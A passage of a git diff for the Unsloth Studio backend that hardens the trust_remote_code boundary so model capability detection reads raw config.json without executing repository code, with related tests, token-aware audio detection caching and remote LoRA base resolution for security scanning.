_drive_validate(monkeypatch, is_gguf = False) + assert resp.is_gguf is False + assert resp.requires_trust_remote_code is True + assert resp.requires_security_review is True + + +def test_resolve_loaded_trc_prefers_stored_value(): + # A value stored at load time wins, so a status refresh does not re-derive it. + assert ( + inf._resolve_loaded_trust_remote_code("org/m", {"requires_trust_remote_code": True}, {}) + is True + ) + assert ( + inf._resolve_loaded_trust_remote_code( + "org/m", {"requires_trust_remote_code": False}, {"trust_remote_code": True} + ) + is False + ) + + +def test_resolve_loaded_trc_uses_runtime_and_yaml(): + # No stored value: the trust_remote_code the load used, then the YAML default. + assert ( + inf._resolve_loaded_trust_remote_code("org/m", {}, {}, trust_remote_code_used = True) is True + ) + assert inf._resolve_loaded_trust_remote_code("org/m", {}, {"trust_remote_code": True}) is True + + +def test_resolve_loaded_trc_falls_back_to_raw_auto_map(monkeypatch): + # No stored value or runtime/YAML signal: fall back to the raw auto_map check. + monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True) + assert inf._resolve_loaded_trust_remote_code("org/custom", {}, {}) is True + monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: False) + assert inf._resolve_loaded_trust_remote_code("org/plain", {}, {}) is False + + +def _drive_validate_lora(monkeypatch, *, adapter_needs_trc, base_needs_trc): + """Run validate_model for a LoRA adapter whose base resolves, with per-target + trust_remote_code answers; return the response.""" + from types import SimpleNamespace + + import utils.models.model_config as mc + + adapter, base = "org/lora-adapter", "org/base-model" + monkeypatch.setattr( + inf, + "_resolve_model_identifier_for_request", + lambda request, operation: (adapter, adapter, False), + ) + config = SimpleNamespace( + identifier = adapter, + display_name = adapter, + is_gguf = False, + is_lora = True, + is_vision = False, + gguf_file = None, + ) + monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config)) + monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: base) + trc = {adapter: adapter_needs_trc, base: base_needs_trc} + monkeypatch.setattr( + inf, + "_requires_trust_remote_code_for_model", + lambda target, *_a, **_k: trc.get(target, False), + ) + monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: False) + req = ValidateModelRequest(model_path = adapter) + return asyncio.run(inf.validate_model(req, current_subject = "tester")) + + +def test_validate_lora_flags_trc_from_adapter_only(monkeypatch): + # Adapter ships auto_map, base does not: the requirement follows either repo. + resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = True, base_needs_trc = False) + assert resp.requires_trust_remote_code is True + + +def test_validate_lora_flags_trc_from_base_only(monkeypatch): + # The classic case: the base ships custom code, the adapter does not. + resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = True) + assert resp.requires_trust_remote_code is True + + +def test_validate_lora_clean_when_neither_needs_trc(monkeypatch): + resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = False) + assert resp.requires_trust_remote_code is False diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py index d1bdec8449..192bec53c8 100644 --- a/studio/backend/tests/test_vision_cache.py +++ b/studio/backend/tests/test_vision_cache.py @@ -96,11 +96,13 @@ class TestVisionCacheSubprocessPath: The cache should spawn the subprocess at most once per model per process.""" + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.models.model_config._is_vision_model_subprocess", return_value = True) @patch("utils.transformers_version.needs_transformers_5", return_value = True) - def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess): - """Subprocess fires only on the first call; second is cached.""" - # First call: uncached → subprocess + def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess, mock_raw): + """When the raw-config reader is inconclusive (None), the transformers + 5.x subprocess fires only on the first call; the second is cached.""" + # First call: raw None -> subprocess assert is_vision_model("unsloth/Qwen3.5-2B") is True # Second call: cache hit, no subprocess assert is_vision_model("unsloth/Qwen3.5-2B") is True @@ -111,14 +113,16 @@ class TestVisionCacheSubprocessPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = True) @patch("utils.models.model_config._is_vision_model_subprocess", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = True) - def test_subprocess_none_falls_back_to_raw_vision_config( + def test_raw_config_primary_skips_subprocess( self, mock_needs_t5, mock_subprocess, mock_raw_config ): + # The raw config.json read is the primary path; a definitive answer there never + # reaches the transformers-5.x subprocess or needs_transformers_5 routing. assert is_vision_model("unsloth/gemma-4-E4B-it") is True assert is_vision_model("unsloth/gemma-4-E4B-it") is True - mock_subprocess.assert_called_once() mock_raw_config.assert_called_once_with("unsloth/gemma-4-E4B-it", hf_token = None) + mock_subprocess.assert_not_called() # --------------------------------------------------------------------------- @@ -259,9 +263,10 @@ class TestVisionCacheDirectPath: """Models that do NOT need transformers 5.x detect via load_model_config directly. The cache must work the same way.""" + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5): + def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw): """A standard VLM detected via architecture suffix should be cached.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist cfg.model_type = "gemma3" @@ -273,9 +278,10 @@ class TestVisionCacheDirectPath: # load_model_config should only be called once mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5): + def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw): """A standard text model (no VLM indicators) should cache False.""" cfg = MagicMock(spec = []) # spec=[] means no attributes at all cfg.model_type = "llama" @@ -287,9 +293,12 @@ class TestVisionCacheDirectPath: assert is_vision_model("meta-llama/Llama-3-8B") is False mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_vision_config_attr_detected_and_cached(self, mock_load_config, mock_needs_t5): + def test_vision_config_attr_detected_and_cached( + self, mock_load_config, mock_needs_t5, mock_raw + ): """Models with vision_config (LLaVA, Qwen2-VL, etc.) should be cached as True.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist cfg.model_type = "qwen2_vl" @@ -301,9 +310,10 @@ class TestVisionCacheDirectPath: assert is_vision_model("Qwen/Qwen2-VL-7B") is True mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5): + def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5, mock_raw): cfg = MagicMock(spec = []) cfg.model_type = "gemma4" cfg.architectures = ["Gemma4ForConditionalGeneration"] @@ -313,9 +323,12 @@ class TestVisionCacheDirectPath: assert is_vision_model("google/gemma-4-E4B-it") is True mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_audio_subconfig_not_detected_as_vision(self, mock_load_config, mock_needs_t5): + def test_gemma4_audio_subconfig_not_detected_as_vision( + self, mock_load_config, mock_needs_t5, mock_raw + ): cfg = MagicMock(spec = []) cfg.model_type = "gemma4_audio" cfg.architectures = ["Gemma4AudioModel"] @@ -325,9 +338,12 @@ class TestVisionCacheDirectPath: assert is_vision_model("local/gemma4-audio-encoder") is False mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_text_subconfig_not_detected_as_vision(self, mock_load_config, mock_needs_t5): + def test_gemma4_text_subconfig_not_detected_as_vision( + self, mock_load_config, mock_needs_t5, mock_raw + ): cfg = MagicMock(spec = []) cfg.model_type = "gemma4_text" cfg.architectures = ["Gemma4ForCausalLM"] @@ -337,9 +353,10 @@ class TestVisionCacheDirectPath: assert is_vision_model("local/gemma-4-text") is False mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5): + def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5, mock_raw): """Audio-only models (csm, whisper) with ForConditionalGeneration should be excluded from VLM detection and cached as False.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist @@ -489,7 +506,8 @@ class TestVlmAudioExclusion: fallback, and the inlined subprocess helper too.""" def test_audio_only_set_canonical(self): - assert _AUDIO_ONLY_MODEL_TYPES == {"csm", "whisper"} + # Derived from the transformers audio registry, so a superset of {csm, whisper}. + assert {"csm", "whisper"} <= _AUDIO_ONLY_MODEL_TYPES def test_is_vlm_excludes_whisper(self): cfg = MagicMock(spec = []) @@ -528,3 +546,68 @@ class TestVlmAudioExclusion: }, ) assert is_vision_model(str(tmp_path)) is False + + +class TestAudioDetectionCacheTokenAware: + """The audio cache mirrors the vision cache: keyed by (model, token_fingerprint) + so an unauthenticated miss cannot poison a later authenticated lookup.""" + + def test_audio_cache_is_token_aware(self, monkeypatch): + import utils.models.model_config as mc + + mc._audio_detection_cache.clear() + calls = [] + + def _fake(name, hf_token = None): + calls.append(hf_token) + # Gated repo: only an authenticated probe can read the tokenizer. + return ("bicodec", True) if hf_token else (None, True) + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _fake) + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + + # Unauthenticated miss caches None under (name, None)... + assert mc.detect_audio_type("private/spark") is None + # ...but the authenticated call uses a different key and is NOT poisoned. + assert mc.detect_audio_type("private/spark", hf_token = "hf_x") == "bicodec" + assert calls == [None, "hf_x"] + + # Same (model, token) is served from cache (no third probe). + assert mc.detect_audio_type("private/spark", hf_token = "hf_x") == "bicodec" + assert calls == [None, "hf_x"] + mc._audio_detection_cache.clear() + + def test_transient_none_is_not_cached_but_definitive_none_is(self, monkeypatch): + """A transient probe failure (definitive=False) must retry; a clean + 'not audio' read (definitive=True) caches so we don't re-probe.""" + import utils.models.model_config as mc + + mc._audio_detection_cache.clear() + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + + transient_calls = [] + + def _transient(name, hf_token = None): + transient_calls.append(hf_token) + return (None, False) # network/5xx -- not cacheable + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _transient) + assert mc.detect_audio_type("flaky/model") is None + assert mc.detect_audio_type("flaky/model") is None + # Re-probed both times: the transient None was never cached. + assert transient_calls == [None, None] + + definitive_calls = [] + + def _definitive(name, hf_token = None): + definitive_calls.append(hf_token) + return (None, True) # read the config, no audio tokens + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _definitive) + assert mc.detect_audio_type("plain/text-model") is None + assert mc.detect_audio_type("plain/text-model") is None + # Probed once: the definitive None was cached. + assert definitive_calls == [None] + mc._audio_detection_cache.clear() diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py index 08a470f11f..12baded14a 100644 --- a/studio/backend/utils/hardware/hardware.py +++ b/studio/backend/utils/hardware/hardware.py @@ -1136,14 +1136,22 @@ def _get_hf_safetensors_total_params( def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = None): + # Estimation needs only declarative config.json fields, and this probe runs + # on model selection, so read raw config.json (never run auto_map Python) and + # expose it as an attribute namespace for downstream getattr access. try: - from transformers import AutoConfig - trust_remote_code = model_name.lower().startswith("unsloth/") - return AutoConfig.from_pretrained( - model_name, - token = hf_token, - trust_remote_code = trust_remote_code, - ) + from utils.transformers_version import _load_config_json + + cfg = _load_config_json(model_name, hf_token = hf_token) + if cfg is None: + return None + + def _to_ns(d): + if isinstance(d, dict): + return types.SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()}) + return d + + return _to_ns(cfg) except Exception as e: logger.warning("Could not load config for '%s': %s", model_name, e) return None diff --git a/studio/backend/utils/models/__init__.py b/studio/backend/utils/models/__init__.py index 74d08ac116..4a5fb7274c 100644 --- a/studio/backend/utils/models/__init__.py +++ b/studio/backend/utils/models/__init__.py @@ -16,6 +16,7 @@ from .model_config import ( get_base_model_from_checkpoint, load_model_defaults, get_base_model_from_lora, + get_base_model_from_lora_identifier, load_model_config, list_gguf_variants, extract_model_size_b, @@ -40,6 +41,7 @@ __all__ = [ "get_base_model_from_checkpoint", "load_model_defaults", "get_base_model_from_lora", + "get_base_model_from_lora_identifier", "load_model_config", "list_gguf_variants", "extract_model_size_b", diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py index 83cd281c2e..45474389c8 100644 --- a/studio/backend/utils/models/model_config.py +++ b/studio/backend/utils/models/model_config.py @@ -470,9 +470,15 @@ def load_model_config( model_name: str, use_auth: bool = False, token: Optional[str] = None, - trust_remote_code: bool = True, + trust_remote_code: bool = False, ): - """Load model config with optional authentication control.""" + """Load model config with optional authentication control. + + ``trust_remote_code`` defaults to ``False``: capability detection and + metadata lookups must never execute a model repo's ``auto_map`` Python. + Deliberate remote-code loads pass the flag explicitly through + ``FastLanguageModel.from_pretrained`` with the user's own consent. + """ from transformers import AutoConfig if token: @@ -496,22 +502,72 @@ def load_model_config( ) -# VLM architecture suffixes and known VLM model_type values. -_VLM_ARCH_SUFFIXES = ("ForConditionalGeneration", "ForVisionText2Text") -_VLM_MODEL_TYPES = { - "phi3_v", - "llava", - "llava_next", - "llava_onevision", - "internvl_chat", - "cogvlm2", - "minicpmv", - "gemma4", -} +# Detection sets come from the installed transformers registry, unioned with a +# small curated set of auto_map VLMs (DeepSeek-OCR, Kimi, phi3_v) whose arch is +# repo-defined and absent from the registry. ForConditionalGeneration is NOT a +# vision signal (overloaded across text/audio/vision); ForVisionText2Text is. +_VLM_ARCH_SUFFIXES = ("ForVisionText2Text",) -# Audio-only models that share the ForConditionalGeneration suffix -# (e.g. CsmForConditionalGeneration, WhisperForConditionalGeneration). -_AUDIO_ONLY_MODEL_TYPES = {"csm", "whisper"} +_CURATED_REMOTE_VLM_TYPES = frozenset( + { + "phi3_v", + "llava", + "llava_next", + "llava_onevision", + "internvl_chat", + "cogvlm2", + "minicpmv", + "gemma4", + "deepseek_vl_v2", + "kimi_k25", + } +) + +# Fallbacks used only if the transformers registry import fails. +_FALLBACK_AUDIO_MODEL_TYPES = frozenset({"csm", "whisper"}) + + +def _build_detection_sets(): + """Return (vlm_model_types, vlm_class_names, audio_model_types) from the + installed transformers registry, unioned with the curated repo-code VLM + set. Reads only static name dicts -- no model is loaded, no code runs. + Falls back to curated/hardcoded values if transformers is unavailable. + """ + try: + from transformers.models.auto import modeling_auto as _ma + + def _names(attr): + d = getattr(_ma, attr, None) + return dict(d) if d else {} + + itt = _names("MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES") + v2s = _names("MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES") + vlm_types = set(itt) | set(v2s) | set(_CURATED_REMOTE_VLM_TYPES) + vlm_classes = set(itt.values()) | set(v2s.values()) + + audio_types: set = set() + for attr in ( + "MODEL_FOR_CTC_MAPPING_NAMES", + "MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES", + "MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES", + "MODEL_FOR_TEXT_TO_WAVEFORM_MAPPING_NAMES", + "MODEL_FOR_TEXT_TO_SPECTROGRAM_MAPPING_NAMES", + "MODEL_FOR_AUDIO_XVECTOR_MAPPING_NAMES", + ): + audio_types |= set(_names(attr)) + audio_types |= set(_FALLBACK_AUDIO_MODEL_TYPES) + + return frozenset(vlm_types), frozenset(vlm_classes), frozenset(audio_types) + except Exception as exc: # pragma: no cover - defensive + logger.warning("Could not build detection sets from transformers: %s", exc) + return ( + frozenset(_CURATED_REMOTE_VLM_TYPES), + frozenset(), + frozenset(_FALLBACK_AUDIO_MODEL_TYPES), + ) + + +_VLM_MODEL_TYPES, _VLM_CLASS_NAMES, _AUDIO_ONLY_MODEL_TYPES = _build_detection_sets() # Pre-computed .venv_t5 paths and backend dir for subprocess version switching. # Vision check uses the Gemma 4 5.5 sidecar for existing Gemma 4 architectures. @@ -524,13 +580,19 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent.parent) def _is_vlm(config) -> bool: architectures = getattr(config, "architectures", None) or [] model_type = getattr(config, "model_type", None) - if model_type in _AUDIO_ONLY_MODEL_TYPES: - return False - return ( - any(x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) - or hasattr(config, "vision_config") + explicit_vision = ( + hasattr(config, "vision_config") or hasattr(config, "img_processor") or hasattr(config, "image_token_index") + or hasattr(config, "projector_config") + ) + # Audio-only models are vision only if they carry an explicit vision sub-config. + if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision: + return False + return ( + explicit_vision + or any(x in _VLM_CLASS_NAMES for x in architectures) + or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) or model_type in _VLM_MODEL_TYPES ) @@ -553,13 +615,19 @@ def _raw_config_has_vision_config( config = json.loads(config_path.read_text()) architectures = config.get("architectures") or [] model_type = config.get("model_type") - if model_type in _AUDIO_ONLY_MODEL_TYPES: - return False - return ( - any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) - or "vision_config" in config + explicit_vision = ( + "vision_config" in config or "img_processor" in config or "image_token_index" in config + or "projector_config" in config + ) + # Audio-only models are vision only if they carry an explicit vision sub-config. + if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision: + return False + return ( + explicit_vision + or any(isinstance(x, str) and x in _VLM_CLASS_NAMES for x in architectures) + or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) or model_type in _VLM_MODEL_TYPES ) except Exception as exc: @@ -570,19 +638,25 @@ def _raw_config_has_vision_config( # why: inline _is_vlm and constants are prepended so the subprocess stays # self-contained and does not import the parent backend module graph. _VISION_CHECK_INLINE_HELPERS = ( - "_VLM_ARCH_SUFFIXES = " + repr(_VLM_ARCH_SUFFIXES) + "\n" - "_VLM_MODEL_TYPES = " + repr(_VLM_MODEL_TYPES) + "\n" - "_AUDIO_ONLY_MODEL_TYPES = " + repr(_AUDIO_ONLY_MODEL_TYPES) + "\n" + "_VLM_ARCH_SUFFIXES = " + repr(tuple(_VLM_ARCH_SUFFIXES)) + "\n" + "_VLM_MODEL_TYPES = " + repr(set(_VLM_MODEL_TYPES)) + "\n" + "_VLM_CLASS_NAMES = " + repr(set(_VLM_CLASS_NAMES)) + "\n" + "_AUDIO_ONLY_MODEL_TYPES = " + repr(set(_AUDIO_ONLY_MODEL_TYPES)) + "\n" "def _is_vlm(config):\n" " architectures = getattr(config, 'architectures', None) or []\n" " model_type = getattr(config, 'model_type', None)\n" - " if model_type in _AUDIO_ONLY_MODEL_TYPES:\n" - " return False\n" - " return (\n" - " any(x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)\n" - " or hasattr(config, 'vision_config')\n" + " explicit_vision = (\n" + " hasattr(config, 'vision_config')\n" " or hasattr(config, 'img_processor')\n" " or hasattr(config, 'image_token_index')\n" + " or hasattr(config, 'projector_config')\n" + " )\n" + " if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision:\n" + " return False\n" + " return (\n" + " explicit_vision\n" + " or any(x in _VLM_CLASS_NAMES for x in architectures)\n" + " or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)\n" " or model_type in _VLM_MODEL_TYPES\n" " )\n" ) @@ -610,7 +684,8 @@ if backend_dir not in sys.path: try: from transformers import AutoConfig - kwargs = {"trust_remote_code": True} + # Capability detection never executes model repo code. + kwargs = {"trust_remote_code": False} if token: kwargs["token"] = token config = AutoConfig.from_pretrained(model_name, **kwargs) @@ -780,8 +855,15 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - Returns True/False for definitive results, or None on transient errors (network, timeout, subprocess failure) so the caller knows not to cache. """ - # Models needing transformers 5.x must be checked in a subprocess: the main - # process (transformers 4.57.x) doesn't recognize their architectures. + # Try the raw-config reader FIRST (code-free, version-independent): it classifies + # repo-code VLMs like DeepSeek-OCR via declarative vision_config with no remote-code + # execution or transformers-5.x subprocess. + raw = _raw_config_has_vision_config(model_name, hf_token = hf_token) + if raw is not None: + return raw + + # Raw read failed transiently: fall back to AutoConfig with remote code DISABLED + # (in a transformers-5.x subprocess when the main process can't parse the arch). from utils.transformers_version import needs_transformers_5 if needs_transformers_5(model_name): @@ -789,21 +871,13 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - "Model '%s' needs transformers 5.x -- checking vision via subprocess", model_name, ) - result = _is_vision_model_subprocess(model_name, hf_token = hf_token) - if result is not None: - return result - return _raw_config_has_vision_config(model_name, hf_token = hf_token) + return _is_vision_model_subprocess(model_name, hf_token = hf_token) try: config = load_model_config(model_name, use_auth = True, token = hf_token) - # Exclude audio-only models sharing the ForConditionalGeneration suffix - # (e.g. CsmForConditionalGeneration, WhisperForConditionalGeneration) - model_type = getattr(config, "model_type", None) - if model_type in _AUDIO_ONLY_MODEL_TYPES: - return False - if _is_vlm(config): + model_type = getattr(config, "model_type", None) archs = getattr(config, "architectures", None) or [] logger.info( "Model %s detected as VLM (model_type=%s, architectures=%s)", @@ -840,8 +914,9 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - VALID_AUDIO_TYPES = ("snac", "csm", "bicodec", "dac", "whisper", "audio_vlm") -# Cache detection per session to avoid repeated API calls -_audio_detection_cache: Dict[str, Optional[str]] = {} +# Keyed by (normalized_name, token_fingerprint) like the vision cache, so an +# unauthenticated miss (None) cannot poison a later authenticated lookup. +_audio_detection_cache: Dict[Tuple[str, Optional[str]], Optional[str]] = {} # Tokenizer token patterns → audio_type (all 6 types from tokenizer_config.json) _AUDIO_TOKEN_PATTERNS = { @@ -867,22 +942,38 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option Returns an audio_type string ('snac', 'csm', 'bicodec', 'dac', 'whisper', 'audio_vlm') or None. """ - if model_name in _audio_detection_cache: - return _audio_detection_cache[model_name] + # Normalize casing + include the token fingerprint (mirrors is_vision_model). + try: + if is_local_path(model_name): + resolved_name = normalize_path(model_name) + else: + resolved_name = resolve_cached_repo_id_case(model_name) + except Exception: + resolved_name = model_name + cache_key = (resolved_name, _token_fingerprint(hf_token)) + if cache_key in _audio_detection_cache: + return _audio_detection_cache[cache_key] - result = _detect_audio_from_tokenizer(model_name, hf_token) - - _audio_detection_cache[model_name] = result + result, definitive = _detect_audio_from_tokenizer(model_name, hf_token) + # Cache only definitive results; a transient read failure stays None and retries. + if definitive: + _audio_detection_cache[cache_key] = result if result: logger.info(f"Model {model_name} detected as audio model: audio_type={result}") return result -def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None) -> Optional[str]: +def _detect_audio_from_tokenizer( + model_name: str, hf_token: Optional[str] = None +) -> Tuple[Optional[str], bool]: """Detect audio type from tokenizer special tokens. Checks local HF cache first, then fetches tokenizer_config.json from HF; examines added_tokens_decoder for distinctive patterns. + + Returns (audio_type_or_None, definitive). definitive is False only on a + transient read failure (network/timeout/5xx) so the caller skips caching and + retries; a successful read with no audio tokens is a definitive None. """ def _check_token_patterns(tok_config: dict) -> Optional[str]: @@ -895,6 +986,8 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None return audio_type return None + read_any = False # parsed at least one tokenizer_config -> a None is definitive + # 1) Local HF cache first (works for gated/offline models) try: repo_dir = get_cache_path(model_name) @@ -909,9 +1002,10 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None tok_file = snapshot / tok_path if tok_file.exists(): tok_config = json.loads(tok_file.read_text()) + read_any = True result = _check_token_patterns(tok_config) if result: - return result + return result, True except Exception as e: logger.debug(f"Could not check local cache for {model_name}: {e}") @@ -919,28 +1013,40 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None try: import requests import os + except Exception: + return None, read_any - paths_to_try = ["tokenizer_config.json", "LLM/tokenizer_config.json"] - token = hf_token or os.environ.get("HF_TOKEN") - headers = {} - if token: - headers["Authorization"] = f"Bearer {token}" + paths_to_try = ["tokenizer_config.json", "LLM/tokenizer_config.json"] + token = hf_token or os.environ.get("HF_TOKEN") + headers = {"Authorization": f"Bearer {token}"} if token else {} - for tok_path in paths_to_try: - url = f"https://huggingface.co/{model_name}/resolve/main/{tok_path}" + transient = False # a fetch failed for a non-404 reason (network/5xx) + for tok_path in paths_to_try: + url = f"https://huggingface.co/{model_name}/resolve/main/{tok_path}" + try: resp = requests.get(url, headers = headers, timeout = 15) - if not resp.ok: - continue - + except Exception as e: + logger.debug(f"Could not fetch {tok_path} for {model_name}: {e}") + transient = True + continue + if resp.status_code == 404: + continue # genuinely absent on this path + if not resp.ok: + transient = True # 5xx/403/etc -- can't tell, don't cache + continue + try: tok_config = resp.json() - result = _check_token_patterns(tok_config) - if result: - return result + except Exception as e: + logger.debug(f"Bad tokenizer_config for {model_name}/{tok_path}: {e}") + transient = True + continue + read_any = True + result = _check_token_patterns(tok_config) + if result: + return result, True - return None - except Exception as e: - logger.debug(f"Could not detect audio type from tokenizer for {model_name}: {e}") - return None + # No audio tokens: definitive unless every attempt failed transiently. + return None, (read_any or not transient) def is_audio_input_type(audio_type: Optional[str]) -> bool: @@ -2135,7 +2241,7 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]: return base_model # Fallback: try training_args.bin (requires torch) - # TODO: torch.load default weights_only=True (torch >= 2.6) rejects pickled TrainingArguments; also an RCE sink for third-party LoRAs via this route, re-enable behind a trust check if needed. + # TODO: torch.load default weights_only=True (torch >= 2.6) rejects pickled TrainingArguments; also an remote code execution sink for third-party LoRAs via this route, re-enable behind a trust check if needed. # training_args_path = lora_path_obj / "training_args.bin" # if training_args_path.exists(): # try: @@ -2169,6 +2275,74 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]: return None +def get_base_model_from_lora_identifier( + identifier: str, hf_token: Optional[str] = None +) -> Optional[str]: + """Resolve a LoRA adapter's base model for a LOCAL dir OR a REMOTE HF repo. + + ``get_base_model_from_lora`` only reads a local adapter directory (it requires + ``is_dir()``). The SECURITY gates must also follow a *remote* adapter's base, + because the base model's code / weights are what execute on load: an attacker's + adapter repo can point ``base_model_name_or_path`` at a base carrying a poisoned + pickle or HIGH auto_map code. For a remote repo id we fetch ONLY the small + ``adapter_config.json`` (metadata; never a weight file) and read the base. Use + this in the gate paths so a remote LoRA base is scanned, not just the adapter. + + Returns the base model id, or ``None`` when the identifier is not a LoRA adapter + or the base cannot be determined (the caller still scans the identifier itself). + + A genuine 404 (no ``adapter_config.json`` / repo absent) is distinguished from a + transient error: the latter is retried once, then logged as a WARNING (a missed + base would be scanned by neither gate), so a network blip does not silently and + invisibly skip the base. + """ + # Local path: reuse the existing directory reader (identical behavior). + try: + if is_local_path(identifier): + return get_base_model_from_lora(identifier) + except Exception: + return get_base_model_from_lora(identifier) + + # Remote repo id: read base_model_name_or_path from adapter_config.json only. + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError, RepositoryNotFoundError + + last_exc = None + for _attempt in range(2): # one retry: a transient blip must not skip the base + try: + cfg_path = hf_hub_download( + identifier, "adapter_config.json", token = hf_token if hf_token else None + ) + except (EntryNotFoundError, RepositoryNotFoundError): + # No adapter_config.json -> not a resolvable LoRA; caller scans the identifier. + return None + except Exception as exc: # transient / auth / network -> retry once + last_exc = exc + continue + try: + with open(cfg_path, "r") as f: + base_model = json.load(f).get("base_model_name_or_path") + except Exception as exc: + logger.warning("Could not parse adapter_config.json for '%s': %s", identifier, exc) + return None + if base_model: + logger.info( + "Detected base model from remote adapter_config.json (%s): %s", + identifier, + base_model, + ) + return base_model # may be None if the key is absent (still a valid answer) + + # Both attempts failed transiently: log loudly -- a missed base is gated by neither gate. + logger.warning( + "Could not resolve remote LoRA base for '%s' after retry (%s); its base, if " + "any, will not be added to the security scan targets.", + identifier, + type(last_exc).__name__ if last_exc else "unknown", + ) + return None + + # Status indicators that appear in UI dropdowns UI_STATUS_INDICATORS = [" (Ready)", " (Loading...)", " (Active)", "↓ "] diff --git a/studio/backend/utils/security/__init__.py b/studio/backend/utils/security/__init__.py new file mode 100644 index 0000000000..b794b1835e --- /dev/null +++ b/studio/backend/utils/security/__init__.py @@ -0,0 +1,107 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Security helpers for the ``trust_remote_code`` boundary. + +Two orthogonal questions: ``trusted_org.is_trusted_org_repo`` (may we AUTO-enable +remote code for this name?) and ``remote_code_scan`` (WHAT would run if the user +opts in?). The load paths try ``trust_remote_code=False`` first and, on the +transformers "requires trust_remote_code" error, scan the repo's ``auto_map``, +surface findings + a pinning fingerprint, and require explicit consent before +retrying with it enabled. Detection (is-vision / version / size) reads raw +``config.json`` and never enters this flow. +""" + +from utils.security.consent import ( # noqa: F401 